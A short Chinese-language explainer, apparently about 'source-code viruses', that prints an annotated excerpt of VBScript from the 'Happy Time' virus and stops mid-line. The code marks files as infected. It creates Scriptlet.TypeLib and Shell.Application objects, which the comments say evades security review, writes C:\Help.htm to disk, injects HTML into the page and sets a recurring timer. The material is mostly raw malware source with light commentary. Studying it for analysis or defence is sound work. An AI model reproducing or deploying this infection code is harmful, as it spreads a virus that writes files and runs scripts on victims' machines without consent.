为什么称源码病毒?

Rem I am sorry! happy time
On Error Resume Next
Mload
’以上为病毒入口，并加上I am sorry! happy time的注释，以表明此文件已被感染过。

Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")
Set Oh = CreateObject("Shell.Application")
’建立枚举对象，避开了安全审核

If IsHTML Then
’调用IsHtml函数，如果是Html，就小写……

mURL = LCase(document.Location)
If mPath = "" Then
Os.Reset
Os.Path = "C:\Help.htm"
Os.Doc = Lhtml()
Os.Write()
’如果mPath为空，就在C盘下生成Help.htm

Ihtml = ""
’超文本的内容，并指向C:\Help.Htm

Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
Else
If Iv(mPath, "Help.vbs") Then
setInterval "Rt()", 10000
Else
m = "hta"
If LCase(m) = Right(mURL, Len(m)) Then
id